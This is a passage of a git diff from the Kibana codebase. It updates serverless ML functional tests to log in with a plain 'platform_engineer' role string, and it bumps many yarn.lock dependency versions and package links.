PageObjects.svlCommonPage.loginWithRole(ServerlessRoleName.PLATFORM_ENGINEER); + await PageObjects.svlCommonPage.loginWithRole('platform_engineer'); await esArchiver.loadIfNeeded('x-pack/test/functional/es_archives/ml/ihp_outlier'); await ml.testResources.createDataViewIfNeeded('ft_ihp_outlier', '@timestamp'); diff --git a/x-pack/test_serverless/functional/test_suites/security/ml/search_bar_features.ts b/x-pack/test_serverless/functional/test_suites/security/ml/search_bar_features.ts index ae2c591865a2c..7ecf7bf781720 100644 --- a/x-pack/test_serverless/functional/test_suites/security/ml/search_bar_features.ts +++ b/x-pack/test_serverless/functional/test_suites/security/ml/search_bar_features.ts @@ -5,7 +5,6 @@ * 2.0. */ import expect from '@kbn/expect'; -import { ServerlessRoleName } from '../../../../shared/lib'; import { FtrProviderContext } from '../../../ftr_provider_context'; export default function ({ getPageObjects, getService }: FtrProviderContext) { @@ -37,7 +36,7 @@ export default function ({ getPageObjects, getService }: FtrProviderContext) { describe('Search bar features', () => { before(async () => { - await PageObjects.svlCommonPage.loginWithRole(ServerlessRoleName.PLATFORM_ENGINEER); + await PageObjects.svlCommonPage.loginWithRole('platform_engineer'); }); describe('list features', () => { diff --git a/x-pack/test_serverless/functional/test_suites/security/ml/trained_models_list.ts b/x-pack/test_serverless/functional/test_suites/security/ml/trained_models_list.ts index b865d77327988..df31bd2ce7141 100644 --- a/x-pack/test_serverless/functional/test_suites/security/ml/trained_models_list.ts +++ b/x-pack/test_serverless/functional/test_suites/security/ml/trained_models_list.ts @@ -5,7 +5,6 @@ * 2.0. */ import { SUPPORTED_TRAINED_MODELS } from '@kbn/test-suites-xpack/functional/services/ml/api'; -import { ServerlessRoleName } from '../../../../shared/lib'; import { FtrProviderContext } from '../../../ftr_provider_context'; export default function ({ getService, getPageObjects }: FtrProviderContext) { @@ -17,7 +16,7 @@ export default function ({ getService, getPageObjects }: FtrProviderContext) { const tinyElser = SUPPORTED_TRAINED_MODELS.TINY_ELSER; before(async () => { - await PageObjects.svlCommonPage.loginWithRole(ServerlessRoleName.PLATFORM_ENGINEER); + await PageObjects.svlCommonPage.loginWithRole('platform_engineer'); await ml.api.importTrainedModel(tinyElser.name, tinyElser.name); // Make sure the .ml-stats index is created in advance, see https://github.com/elastic/elasticsearch/issues/65846 await ml.api.assureMlStatsIndexExists(); diff --git a/x-pack/test_serverless/shared/lib/index.ts b/x-pack/test_serverless/shared/lib/index.ts index da096c611c8d0..b08adb33a697b 100644 --- a/x-pack/test_serverless/shared/lib/index.ts +++ b/x-pack/test_serverless/shared/lib/index.ts @@ -5,7 +5,6 @@ * 2.0. */ -export * from './security'; export * from './object_remover'; export * from './space_path_prefix'; export * from './cases'; diff --git a/x-pack/test_serverless/tsconfig.json b/x-pack/test_serverless/tsconfig.json index 06136551ec365..18ce563f97982 100644 --- a/x-pack/test_serverless/tsconfig.json +++ b/x-pack/test_serverless/tsconfig.json @@ -81,7 +81,6 @@ "@kbn/search-types", "@kbn/config-schema", "@kbn/features-plugin", - "@kbn/observability-ai-assistant-plugin", "@kbn/test-suites-src", "@kbn/console-plugin", "@kbn/cloud-security-posture-common", diff --git a/yarn.lock b/yarn.lock index 0016573fa3fd4..7d13a14858ae6 100644 --- a/yarn.lock +++ b/yarn.lock @@ -1975,10 +1975,10 @@ enabled "2.0.x" kuler "^2.0.0" -"@dagrejs/dagre@^1.1.4": - version "1.1.4" - resolved "https://registry.yarnpkg.com/@dagrejs/dagre/-/dagre-1.1.4.tgz#66f9c0e2b558308f2c268f60e2c28f22ee17e339" - integrity sha512-QUTc54Cg/wvmlEUxB+uvoPVKFazM1H18kVHBQNmK2NbrDR5ihOCR6CXLnDSZzMcSQKJtabPUWridBOlJM3WkDg== +"@dagrejs/dagre@^1.1.5": + version "1.1.5" + resolved "https://registry.yarnpkg.com/@dagrejs/dagre/-/dagre-1.1.5.tgz#af392e24723c479f00661af3f4e8ede5c6acce51" + integrity sha512-Ghgrh08s12DCL5SeiR6AoyE80mQELTWhJBRmXfFoqDiFkR458vPEdgTbbjA0T+9ETNxUblnD0QW55tfdvi5pjQ== dependencies: "@dagrejs/graphlib" "2.2.4" @@ -2139,10 +2139,10 @@ "@elastic/transport" "^8.3.1" tslib "^2.4.0" -"@elastic/elasticsearch@9.0.2": - version "9.0.2" - resolved "https://registry.yarnpkg.com/@elastic/elasticsearch/-/elasticsearch-9.0.2.tgz#66fb8465fdeabb0c1174d3c48c0a2d5ad5d177c4" - integrity sha512-uKA0PuPSND3OhHH9UFqnKZfxifAg/8mQW4VnrQ+sUtusTbPhGuErs5NeWCPyd/RLgruBWBmLSv1zzEv5GS+UnA== +"@elastic/elasticsearch@9.0.3": + version "9.0.3" + resolved "https://registry.yarnpkg.com/@elastic/elasticsearch/-/elasticsearch-9.0.3.tgz#96302c6dfae27503d5271aba318883fdef4051bd" + integrity sha512-aagnssrVQi538wExO0Au169amtq68sXSwQMyzblQVAsqcmbqRTtzmGhKOjnDP0LK3ml0Mtje1uX+Vda7RhqDsA== dependencies: "@elastic/transport" "^9.0.1" apache-arrow "18.x - 19.x" @@ -2281,10 +2281,10 @@ progress "^1.1.8" through2 "^2.0.0" -"@elastic/monaco-esql@^3.1.2": - version "3.1.2" - resolved "https://registry.yarnpkg.com/@elastic/monaco-esql/-/monaco-esql-3.1.2.tgz#83a698293473673db2c4925ed6498da4638be25a" - integrity sha512-R/Xk1Yi+SuANcu/+D6LZjvNaSTFeTXPL4UewgWzMK5z2LSwuix+5rcyHDB5xxoZ5cJ9yJOeVpAMUoGFXRXxOoQ== +"@elastic/monaco-esql@^3.1.4": + version "3.1.4" + resolved "https://registry.yarnpkg.com/@elastic/monaco-esql/-/monaco-esql-3.1.4.tgz#a400bf7fb5058e7df5f37ce556a62dcc6c214f41" + integrity sha512-B504Q0SM3GysR7aGBj5O1U5/Y5j5fw0B+tbhmL8j8Gw5vogNG+/7TzwggPL39PjeRfpLqjiqu3DtWNNqjAlxcw== "@elastic/node-crypto@^1.2.3": version "1.2.3" @@ -4005,7 +4005,7 @@ version "0.0.0" uid "" -"@kbn/application-usage-test-plugin@link:x-pack/test/usage_collection/plugins/application_usage_test": +"@kbn/application-usage-test-plugin@link:x-pack/platform/test/usage_collection/plugins/application_usage_test": version "0.0.0" uid "" @@ -5753,7 +5753,7 @@ version "0.0.0" uid "" -"@kbn/fec-alerts-test-plugin@link:x-pack/test/functional_execution_context/plugins/alerts": +"@kbn/fec-alerts-test-plugin@link:x-pack/platform/test/functional_execution_context/plugins/alerts": version "0.0.0" uid "" @@ -5813,7 +5813,7 @@ version "0.0.0" uid "" -"@kbn/foo-plugin@link:x-pack/test/ui_capabilities/common/plugins/foo_plugin": +"@kbn/foo-plugin@link:x-pack/platform/test/ui_capabilities/common/plugins/foo_plugin": version "0.0.0" uid "" @@ -5957,7 +5957,7 @@ version "0.0.0" uid "" -"@kbn/iframe-embedded-plugin@link:x-pack/test/functional_embedded/plugins/iframe_embedded": +"@kbn/iframe-embedded-plugin@link:x-pack/platform/test/functional_embedded/plugins/iframe_embedded": version "0.0.0" uid "" @@ -6021,6 +6021,10 @@ version "0.0.0" uid "" +"@kbn/inference-tracing-config@link:x-pack/platform/packages/shared/kbn-inference-tracing-config": + version "0.0.0" + uid "" + "@kbn/inference-tracing@link:x-pack/platform/packages/shared/kbn-inference-tracing": version "0.0.0" uid "" @@ -6121,7 +6125,7 @@ version "0.0.0" uid "" -"@kbn/kibana-cors-test-plugin@link:x-pack/test/functional_cors/plugins/kibana_cors_test": +"@kbn/kibana-cors-test-plugin@link:x-pack/platform/test/functional_cors/plugins/kibana_cors_test": version "0.0.0" uid "" @@ -6633,6 +6637,14 @@ version "0.0.0" uid "" +"@kbn/opentelemetry-attributes@link:src/platform/packages/shared/kbn-opentelemetry-attributes": + version "0.0.0" + uid "" + +"@kbn/opentelemetry-utils@link:src/platform/packages/shared/kbn-opentelemetry-utils": + version "0.0.0" + uid "" + "@kbn/optimizer-webpack-helpers@link:src/platform/packages/private/kbn-optimizer-webpack-helpers": version "0.0.0" uid "" @@ -7669,7 +7681,7 @@ version "0.0.0" uid "" -"@kbn/spaces-test-plugin@link:x-pack/test/spaces_api_integration/common/plugins/spaces_test_plugin": +"@kbn/spaces-test-plugin@link:x-pack/platform/test/spaces_api_integration/common/plugins/spaces_test_plugin": version "0.0.0" uid "" @@ -7701,7 +7713,7 @@ version "0.0.0" uid "" -"@kbn/stack-management-usage-test-plugin@link:x-pack/test/usage_collection/plugins/stack_management_usage_test": +"@kbn/stack-management-usage-test-plugin@link:x-pack/platform/test/usage_collection/plugins/stack_management_usage_test": version "0.0.0" uid "" @@ -7733,6 +7745,10 @@ version "0.0.0" uid "" +"@kbn/streamlang@link:x-pack/platform/packages/shared/kbn-streamlang": + version "0.0.0" + uid "" + "@kbn/streams-app-plugin@link:x-pack/platform/plugins/shared/streams_app": version "0.0.0" uid "" @@ -7817,7 +7833,7 @@ version "0.0.0" uid "" -"@kbn/test-feature-usage-plugin@link:x-pack/test/licensing_plugin/plugins/test_feature_usage": +"@kbn/test-feature-usage-plugin@link:x-pack/platform/test/licensing_plugin/plugins/test_feature_usage": version "0.0.0" uid "" @@ -7901,6 +7917,10 @@ version "0.0.0" uid "" +"@kbn/tracing-config@link:src/platform/packages/shared/kbn-tracing-config": + version "0.0.0" + uid "" + "@kbn/tracing@link:src/platform/packages/shared/kbn-tracing": version "0.0.0" uid "" @@ -8795,10 +8815,10 @@ express "^4.18.2" strict-event-emitter "^0.5.1" -"@mswjs/interceptors@^0.38.7": - version "0.38.7" - resolved "https://registry.yarnpkg.com/@mswjs/interceptors/-/interceptors-0.38.7.tgz#5ca205dbf8887830ace8d0bd9b23323a211350de" - integrity sha512-Jkb27iSn7JPdkqlTqKfhncFfnEZsIJVYxsFbUSWEkxdIPdsyngrhoDBk0/BGD2FQcRH99vlRrkHpNTyKqI+0/w== +"@mswjs/interceptors@^0.39.1": + version "0.39.2" + resolved "https://registry.yarnpkg.com/@mswjs/interceptors/-/interceptors-0.39.2.tgz#de9de0ab23f99d387c7904df7219a92157d1d666" + integrity sha512-RuzCup9Ct91Y7V79xwCb146RaBRHZ7NBbrIUySumd1rpKqHL5OonaqrGIbug5hNwP/fRyxFMA6ISgw4FTtYFYg== dependencies: "@open-draft/deferred-promise" "^2.2.0" "@open-draft/logger" "^0.3.0" @@ -9050,10 +9070,10 @@ resolved "https://registry.yarnpkg.com/@open-draft/until/-/until-2.1.0.tgz#0acf32f470af2ceaf47f095cdecd40d68666efda" integrity sha512-U69T3ItWHvLwGg5eJ0n3I62nWuE6ilHlmz7zM0npLBRvPRd7e6NYmg54vvRtP5mZG7kZqZCFVdsTWo7BPtBujg== -"@openfeature/core@^1.8.0": - version "1.8.0" - resolved "https://registry.yarnpkg.com/@openfeature/core/-/core-1.8.0.tgz#2cec01af993f1c298afb4bbd4492b71ed04ef893" - integrity sha512-FX/B6yMD2s4BlMKtB0PqSMl94eLaTwh0VK9URcMvjww0hqMOeGZnGv4uv9O5E58krAan7yCOCm4NBCoh2IATqw== +"@openfeature/core@^1.8.1": + version "1.8.1" + resolved "https://registry.yarnpkg.com/@openfeature/core/-/core-1.8.1.tgz#9e10166d2ada996a941ab430d5c26c7df03cc710" + integrity sha512-5mDq0RTlCZKc3BKAArnz4CiPK5uPY5rf1NpYRy4snPf4OppcZXnjjrvozo5I1p4UtyHGu/maoUVtaQCY54/n0A== "@openfeature/launchdarkly-client-provider@^0.3.2": version "0.3.2" @@ -9619,10 +9639,10 @@ resolved "https://registry.yarnpkg.com/@opentelemetry/semantic-conventions/-/semantic-conventions-1.8.0.tgz#fe2aa90e6df050a11cd57f5c0f47b0641fd2cad3" integrity sha512-TYh1MRcm4JnvpqtqOwT9WYaBYY4KERHdToxs/suDTLviGRsQkIjS5yYROTYTSJQUnYLOn/TuOh5GoMwfLSU+Ew== -"@opentelemetry/semantic-conventions@^1.29.0", "@opentelemetry/semantic-conventions@^1.32.0": - version "1.32.0" - resolved "https://registry.yarnpkg.com/@opentelemetry/semantic-conventions/-/semantic-conventions-1.32.0.tgz#a15e8f78f32388a7e4655e7f539570e40958ca3f" - integrity sha512-s0OpmpQFSfMrmedAn9Lhg4KWJELHCU6uU9dtIJ28N8UGhf9Y55im5X8fEzwhwDwiSqN+ZPSNrDJF7ivf/AuRPQ== +"@opentelemetry/semantic-conventions@^1.29.0", "@opentelemetry/semantic-conventions@^1.34.0": + version "1.34.0" + resolved "https://registry.yarnpkg.com/@opentelemetry/semantic-conventions/-/semantic-conventions-1.34.0.tgz#8b6a46681b38a4d5947214033ac48128328c1738" + integrity sha512-aKcOkyrorBGlajjRdVoJWHTxfxO1vCNHLJVlSDaRHDIdjU+pX8IYQPvPDkYiujKLbRnWU+1TBwEt0QRgSm4SGA== "@paralleldrive/cuid2@^2.2.2": version "2.2.2" @@ -9631,15 +9651,94 @@ dependencies: "@noble/hashes" "^1.1.5" -"@parcel/watcher@^2.1.0": - version "2.1.0" - resolved "https://registry.yarnpkg.com/@parcel/watcher/-/watcher-2.1.0.tgz#5f32969362db4893922c526a842d8af7a8538545" - integrity sha512-8s8yYjd19pDSsBpbkOHnT6Z2+UJSuLQx61pCFM0s5wSRvKCEMDjd/cHY3/GI1szHIWbpXpsJdg3V6ISGGx9xDw== +"@parcel/watcher-android-arm64@2.5.1": + version "2.5.1" + resolved "https://registry.yarnpkg.com/@parcel/watcher-android-arm64/-/watcher-android-arm64-2.5.1.tgz#507f836d7e2042f798c7d07ad19c3546f9848ac1" + integrity sha512-KF8+j9nNbUN8vzOFDpRMsaKBHZ/mcjEjMToVMJOhTozkDonQFFrRcfdLWn6yWKCmJKmdVxSgHiYvTCef4/qcBA== + +"@parcel/watcher-darwin-arm64@2.5.1": + version "2.5.1" + resolved "https://registry.yarnpkg.com/@parcel/watcher-darwin-arm64/-/watcher-darwin-arm64-2.5.1.tgz#3d26dce38de6590ef79c47ec2c55793c06ad4f67" + integrity sha512-eAzPv5osDmZyBhou8PoF4i6RQXAfeKL9tjb3QzYuccXFMQU0ruIc/POh30ePnaOyD1UXdlKguHBmsTs53tVoPw== + +"@parcel/watcher-darwin-x64@2.5.1": + version "2.5.1" + resolved "https://registry.yarnpkg.com/@parcel/watcher-darwin-x64/-/watcher-darwin-x64-2.5.1.tgz#99f3af3869069ccf774e4ddfccf7e64fd2311ef8" + integrity sha512-1ZXDthrnNmwv10A0/3AJNZ9JGlzrF82i3gNQcWOzd7nJ8aj+ILyW1MTxVk35Db0u91oD5Nlk9MBiujMlwmeXZg== + +"@parcel/watcher-freebsd-x64@2.5.1": + version "2.5.1" + resolved "https://registry.yarnpkg.com/@parcel/watcher-freebsd-x64/-/watcher-freebsd-x64-2.5.1.tgz#14d6857741a9f51dfe51d5b08b7c8afdbc73ad9b" + integrity sha512-SI4eljM7Flp9yPuKi8W0ird8TI/JK6CSxju3NojVI6BjHsTyK7zxA9urjVjEKJ5MBYC+bLmMcbAWlZ+rFkLpJQ== + +"@parcel/watcher-linux-arm-glibc@2.5.1": + version "2.5.1" + resolved "https://registry.yarnpkg.com/@parcel/watcher-linux-arm-glibc/-/watcher-linux-arm-glibc-2.5.1.tgz#43c3246d6892381db473bb4f663229ad20b609a1" + integrity sha512-RCdZlEyTs8geyBkkcnPWvtXLY44BCeZKmGYRtSgtwwnHR4dxfHRG3gR99XdMEdQ7KeiDdasJwwvNSF5jKtDwdA== + +"@parcel/watcher-linux-arm-musl@2.5.1": + version "2.5.1" + resolved "https://registry.yarnpkg.com/@parcel/watcher-linux-arm-musl/-/watcher-linux-arm-musl-2.5.1.tgz#663750f7090bb6278d2210de643eb8a3f780d08e" + integrity sha512-6E+m/Mm1t1yhB8X412stiKFG3XykmgdIOqhjWj+VL8oHkKABfu/gjFj8DvLrYVHSBNC+/u5PeNrujiSQ1zwd1Q== + +"@parcel/watcher-linux-arm64-glibc@2.5.1": + version "2.5.1" + resolved "https://registry.yarnpkg.com/@parcel/watcher-linux-arm64-glibc/-/watcher-linux-arm64-glibc-2.5.1.tgz#ba60e1f56977f7e47cd7e31ad65d15fdcbd07e30" + integrity sha512-LrGp+f02yU3BN9A+DGuY3v3bmnFUggAITBGriZHUREfNEzZh/GO06FF5u2kx8x+GBEUYfyTGamol4j3m9ANe8w== + +"@parcel/watcher-linux-arm64-musl@2.5.1": + version "2.5.1" + resolved "https://registry.yarnpkg.com/@parcel/watcher-linux-arm64-musl/-/watcher-linux-arm64-musl-2.5.1.tgz#f7fbcdff2f04c526f96eac01f97419a6a99855d2" + integrity sha512-cFOjABi92pMYRXS7AcQv9/M1YuKRw8SZniCDw0ssQb/noPkRzA+HBDkwmyOJYp5wXcsTrhxO0zq1U11cK9jsFg== + +"@parcel/watcher-linux-x64-glibc@2.5.1": + version "2.5.1" + resolved "https://registry.yarnpkg.com/@parcel/watcher-linux-x64-glibc/-/watcher-linux-x64-glibc-2.5.1.tgz#4d2ea0f633eb1917d83d483392ce6181b6a92e4e" + integrity sha512-GcESn8NZySmfwlTsIur+49yDqSny2IhPeZfXunQi48DMugKeZ7uy1FX83pO0X22sHntJ4Ub+9k34XQCX+oHt2A== + +"@parcel/watcher-linux-x64-musl@2.5.1": + version "2.5.1" + resolved "https://registry.yarnpkg.com/@parcel/watcher-linux-x64-musl/-/watcher-linux-x64-musl-2.5.1.tgz#277b346b05db54f55657301dd77bdf99d63606ee" + integrity sha512-n0E2EQbatQ3bXhcH2D1XIAANAcTZkQICBPVaxMeaCVBtOpBZpWJuf7LwyWPSBDITb7In8mqQgJ7gH8CILCURXg== + +"@parcel/watcher-win32-arm64@2.5.1": + version "2.5.1" + resolved "https://registry.yarnpkg.com/@parcel/watcher-win32-arm64/-/watcher-win32-arm64-2.5.1.tgz#7e9e02a26784d47503de1d10e8eab6cceb524243" + integrity sha512-RFzklRvmc3PkjKjry3hLF9wD7ppR4AKcWNzH7kXR7GUe0Igb3Nz8fyPwtZCSquGrhU5HhUNDr/mKBqj7tqA2Vw== + +"@parcel/watcher-win32-ia32@2.5.1": + version "2.5.1" + resolved "https://registry.yarnpkg.com/@parcel/watcher-win32-ia32/-/watcher-win32-ia32-2.5.1.tgz#2d0f94fa59a873cdc584bf7f6b1dc628ddf976e6" + integrity sha512-c2KkcVN+NJmuA7CGlaGD1qJh1cLfDnQsHjE89E60vUEMlqduHGCdCLJCID5geFVM0dOtA3ZiIO8BoEQmzQVfpQ== + +"@parcel/watcher-win32-x64@2.5.1": + version "2.5.1" + resolved "https://registry.yarnpkg.com/@parcel/watcher-win32-x64/-/watcher-win32-x64-2.5.1.tgz#ae52693259664ba6f2228fa61d7ee44b64ea0947" + integrity sha512-9lHBdJITeNR++EvSQVUcaZoWupyHfXe1jZvGZ06O/5MflPcuPLtEphScIBL+AiCWBO46tDSHzWyD0uDmmZqsgA== + +"@parcel/watcher@^2.5.1": + version "2.5.1" + resolved "https://registry.yarnpkg.com/@parcel/watcher/-/watcher-2.5.1.tgz#342507a9cfaaf172479a882309def1e991fb1200" + integrity sha512-dfUnCxiN9H4ap84DvD2ubjw+3vUNpstxa0TneY/Paat8a3R4uQZDLSvWjmznAY/DoahqTHl9V46HF/Zs3F29pg== dependencies: + detect-libc "^1.0.3" is-glob "^4.0.3" micromatch "^4.0.5" - node-addon-api "^3.2.1" - node-gyp-build "^4.3.0" + node-addon-api "^7.0.0" + optionalDependencies: + "@parcel/watcher-android-arm64" "2.5.1" + "@parcel/watcher-darwin-arm64" "2.5.1" + "@parcel/watcher-darwin-x64" "2.5.1" + "@parcel/watcher-freebsd-x64" "2.5.1" + "@parcel/watcher-linux-arm-glibc" "2.5.1" + "@parcel/watcher-linux-arm-musl" "2.5.1" + "@parcel/watcher-linux-arm64-glibc" "2.5.1" + "@parcel/watcher-linux-arm64-musl" "2.5.1" + "@parcel/watcher-linux-x64-glibc" "2.5.1" + "@parcel/watcher-linux-x64-musl" "2.5.1" + "@parcel/watcher-win32-arm64" "2.5.1" + "@parcel/watcher-win32-ia32" "2.5.1" + "@parcel/watcher-win32-x64" "2.5.1" "@paulirish/trace_engine@0.0.53": version "0.0.53" @@ -9799,10 +9898,10 @@ require-from-string "^2.0.2" uri-js-replace "^1.0.1" -"@redocly/cli@^1.34.3": - version "1.34.3" - resolved "https://registry.yarnpkg.com/@redocly/cli/-/cli-1.34.3.tgz#afd5171ed9b89d64ec9e828d5d6112c25f70f711" - integrity sha512-GJNBTMfm5wTCtH6K+RtPQZuGbqflMclXqAZ5My12tfux6xFDMW1l0MNd5RMpnIS1aeFcDX++P1gnnROWlesj4w== +"@redocly/cli@^1.34.4": + version "1.34.4" + resolved "https://registry.yarnpkg.com/@redocly/cli/-/cli-1.34.4.tgz#3282675240a19b838e9b4eb4cd20bd9b61b1bd0b" + integrity sha512-seH/GgrjSB1EeOsgJ/4Ct6Jk2N7sh12POn/7G8UQFARMyUMJpe1oHtBwT2ndfp4EFCpgBAbZ/82Iw6dwczNxEA== dependencies: "@opentelemetry/api" "1.9.0" "@opentelemetry/exporter-trace-otlp-http" "0.53.0" @@ -9810,13 +9909,13 @@ "@opentelemetry/sdk-trace-node" "1.26.0" "@opentelemetry/semantic-conventions" "1.27.0" "@redocly/config" "^0.22.0" - "@redocly/openapi-core" "1.34.3" - "@redocly/respect-core" "1.34.3" + "@redocly/openapi-core" "1.34.4" + "@redocly/respect-core" "1.34.4" abort-controller "^3.0.0" chokidar "^3.5.1" colorette "^1.2.0" core-js "^3.32.1" - dotenv "^16.4.7" + dotenv "16.4.7" form-data "^4.0.0" get-port-please "^3.0.1" glob "^7.1.6" @@ -9836,10 +9935,10 @@ resolved "https://registry.yarnpkg.com/@redocly/config/-/config-0.22.1.tgz#e14461c009ac53b74f82c9788f9c43fc2c718f24" integrity sha512-1CqQfiG456v9ZgYBG9xRQHnpXjt8WoSnDwdkX6gxktuK69v2037hTAR1eh0DGIqpZ1p4k82cGH8yTNwt7/pI9g== -"@redocly/openapi-core@1.34.3", "@redocly/openapi-core@^1.4.0": - version "1.34.3" - resolved "https://registry.yarnpkg.com/@redocly/openapi-core/-/openapi-core-1.34.3.tgz#0e72750bc8cc784d3e19679d0742299a17a8c435" - integrity sha512-3arRdUp1fNx55itnjKiUhO6t4Mf91TsrTIYINDNLAZPS0TPd5YpiXRctwjel0qqWoOOhjA34cZ3m4dksLDFUYg== +"@redocly/openapi-core@1.34.4", "@redocly/openapi-core@^1.4.0": + version "1.34.4" + resolved "https://registry.yarnpkg.com/@redocly/openapi-core/-/openapi-core-1.34.4.tgz#0b8b9e1713805575c41f378f4ee77b0cb3dac516" + integrity sha512-hf53xEgpXIgWl3b275PgZU3OTpYh1RoD2LHdIfQ1JzBNTWsiNKczTEsI/4Tmh2N1oq9YcphhSMyk3lDh85oDjg== dependencies: "@redocly/ajv" "^8.11.2" "@redocly/config" "^0.22.0" @@ -9851,19 +9950,19 @@ pluralize "^8.0.0" yaml-ast-parser "0.0.43" -"@redocly/respect-core@1.34.3": - version "1.34.3" - resolved "https://registry.yarnpkg.com/@redocly/respect-core/-/respect-core-1.34.3.tgz#d9d6de8584e437100011b6e1fcdd4df975d40cfd" - integrity sha512-vo/gu7dRGwTVsRueVSjVk04jOQuL0w22RBJRdRUWkfyse791tYXgMCOx35ijKekL83Q/7Okxf/YX6UY1v5CAug== +"@redocly/respect-core@1.34.4": + version "1.34.4" + resolved "https://registry.yarnpkg.com/@redocly/respect-core/-/respect-core-1.34.4.tgz#1c8bae2940385dda57343cd1eedb9be3ed1cc9b6" + integrity sha512-MitKyKyQpsizA4qCVv+MjXL4WltfhFQAoiKiAzrVR1Kusro3VhYb6yJuzoXjiJhR0ukLP5QOP19Vcs7qmj9dZg== dependencies: "@faker-js/faker" "^7.6.0" "@redocly/ajv" "8.11.2" - "@redocly/openapi-core" "1.34.3" + "@redocly/openapi-core" "1.34.4" better-ajv-errors "^1.2.0" colorette "^2.0.20" concat-stream "^2.0.0" cookie "^0.7.2" - dotenv "16.4.5" + dotenv "16.4.7" form-data "4.0.0" jest-diff "^29.3.1" jest-matcher-utils "^29.3.1" @@ -10020,17 +10119,10 @@ resolved "https://registry.yarnpkg.com/@sindresorhus/is/-/is-4.0.0.tgz#2ff674e9611b45b528896d820d3d7a812de2f0e4" integrity sha512-FyD2meJpDPjyNQejSjvnhpgI/azsQkA4lGbuu5BQZfjvJ9cbRZXzeWL2HceCekW4lixO9JPesIIQkSoLjeJHNQ== -"@sinonjs/commons@^1", "@sinonjs/commons@^1.3.0", "@sinonjs/commons@^1.4.0", "@sinonjs/commons@^1.7.0": - version "1.7.2" - resolved "https://registry.yarnpkg.com/@sinonjs/commons/-/commons-1.7.2.tgz#505f55c74e0272b43f6c52d81946bed7058fc0e2" - integrity sha512-+DUO6pnp3udV/v2VfUWgaY5BIE1IfT7lLfeDzPVeMT1XKkaAp9LgSI9x5RtrFQoZ9Oi0PgXQQHPaoKu7dCjVxw== - dependencies: - type-detect "4.0.8" - -"@sinonjs/commons@^3.0.0": - version "3.0.0" - resolved "https://registry.yarnpkg.com/@sinonjs/commons/-/commons-3.0.0.tgz#beb434fe875d965265e04722ccfc21df7f755d72" - integrity sha512-jXBtWAF4vmdNmZgD5FoKsVLv3rPgDnLgPbU84LIJ3otV44vJlDRokVng5v8NFJdCf/da9legHcKaRuZs4L7faA== +"@sinonjs/commons@^3.0.0", "@sinonjs/commons@^3.0.1": + version "3.0.1" + resolved "https://registry.yarnpkg.com/@sinonjs/commons/-/commons-3.0.1.tgz#1029357e44ca901a615585f6d27738dbc89084cd" + integrity sha512-K3mCHKQ9sVh8o1C9cxkwxaOmXoAMlDxC1mYyHrjqOWEcBjYr76t96zL2zlj5dUGZ3HSw240X1qgH3Mjf1yJWpQ== dependencies: type-detect "4.0.8" @@ -10041,27 +10133,26 @@ dependencies: "@sinonjs/commons" "^3.0.0" -"@sinonjs/formatio@^3.2.1": - version "3.2.2" - resolved "https://registry.yarnpkg.com/@sinonjs/formatio/-/formatio-3.2.2.tgz#771c60dfa75ea7f2d68e3b94c7e888a78781372c" - integrity sha512-B8SEsgd8gArBLMD6zpRw3juQ2FVSsmdd7qlevyDqzS9WTCtvF55/gAL+h6gue8ZvPYcdiPdvueM/qm//9XzyTQ== +"@sinonjs/fake-timers@^13.0.1", "@sinonjs/fake-timers@^13.0.2": + version "13.0.5" + resolved "https://registry.yarnpkg.com/@sinonjs/fake-timers/-/fake-timers-13.0.5.tgz#36b9dbc21ad5546486ea9173d6bea063eb1717d5" + integrity sha512-36/hTbH2uaWuGVERyC6da9YwGWnzUZXuPro/F2LfsdOsLnCojz/iSH8MxUt/FD2S5XBSVPhmArFUXcpCQ2Hkiw== dependencies: - "@sinonjs/commons" "^1" - "@sinonjs/samsam" "^3.1.0" + "@sinonjs/commons" "^3.0.1" -"@sinonjs/samsam@^3.1.0", "@sinonjs/samsam@^3.3.3": - version "3.3.3" - resolved "https://registry.yarnpkg.com/@sinonjs/samsam/-/samsam-3.3.3.tgz#46682efd9967b259b81136b9f120fd54585feb4a" - integrity sha512-bKCMKZvWIjYD0BLGnNrxVuw4dkWCYsLqFOUWw8VgKF/+5Y+mE7LfHWPIYoDXowH+3a9LsWDMo0uAP8YDosPvHQ== +"@sinonjs/samsam@^8.0.1": + version "8.0.2" + resolved "https://registry.yarnpkg.com/@sinonjs/samsam/-/samsam-8.0.2.tgz#e4386bf668ff36c95949e55a38dc5f5892fc2689" + integrity sha512-v46t/fwnhejRSFTGqbpn9u+LQ9xJDse10gNnPgAcxgdoCDMXj/G2asWAC/8Qs+BAZDicX+MNZouXT1A7c83kVw== dependencies: - "@sinonjs/commons" "^1.3.0" - array-from "^2.1.1" - lodash "^4.17.15" + "@sinonjs/commons" "^3.0.1" + lodash.get "^4.4.2" + type-detect "^4.1.0" -"@sinonjs/text-encoding@^0.7.1": - version "0.7.1" - resolved "https://registry.yarnpkg.com/@sinonjs/text-encoding/-/text-encoding-0.7.1.tgz#8da5c6530915653f3a1f38fd5f101d8c3f8079c5" - integrity sha512-+iTbntw2IZPb/anVDbypzfQa+ay64MW0Zo8aJ8gZPWMMK6/OubMVb6lUPMagqjOPnmtauXnFCACVl3O7ogjeqQ== +"@sinonjs/text-encoding@^0.7.3": + version "0.7.3" + resolved "https://registry.yarnpkg.com/@sinonjs/text-encoding/-/text-encoding-0.7.3.tgz#282046f03e886e352b2d5f5da5eb755e01457f3f" + integrity sha512-DE427ROAphMQzU4ENbliGYrBSYPXF+TtLg9S8vzeA+OF4ZKzoDdzfL8sxuMUGS/lgRhM6j1URSk9ghf7Xo1tyA== "@slack/types@^2.9.0": version "2.11.0" @@ -11296,10 +11387,10 @@ dependencies: "@turf/helpers" "6.x" -"@types/adm-zip@^0.5.0": - version "0.5.0" - resolved "https://registry.yarnpkg.com/@types/adm-zip/-/adm-zip-0.5.0.tgz#94c90a837ce02e256c7c665a6a1eb295906333c1" - integrity sha512-FCJBJq9ODsQZUNURo5ILAQueuA8WJhRvuihS3ke2iI25mJlfV2LK8jG2Qj2z2AWg8U0FtWWqBHVRetceLskSaw== +"@types/adm-zip@^0.5.7": + version "0.5.7" + resolved "https://registry.yarnpkg.com/@types/adm-zip/-/adm-zip-0.5.7.tgz#eec10b6f717d3948beb64aca0abebc4b344ac7e9" + integrity sha512-DNEs/QvmyRLurdQPChqq0Md4zGvPwHerAJYWk9l2jCbD1VPpnzRJorOdiq4zsw09NFbYnhfsoEhWtxIzXpn2yw== dependencies: "@types/node" "*" @@ -11546,7 +11637,7 @@ dependencies: "@types/d3-selection" "*" -"@types/d3-interpolate@*": +"@types/d3-interpolate@*", "@types/d3-interpolate@^3.0.4": version "3.0.4" resolved 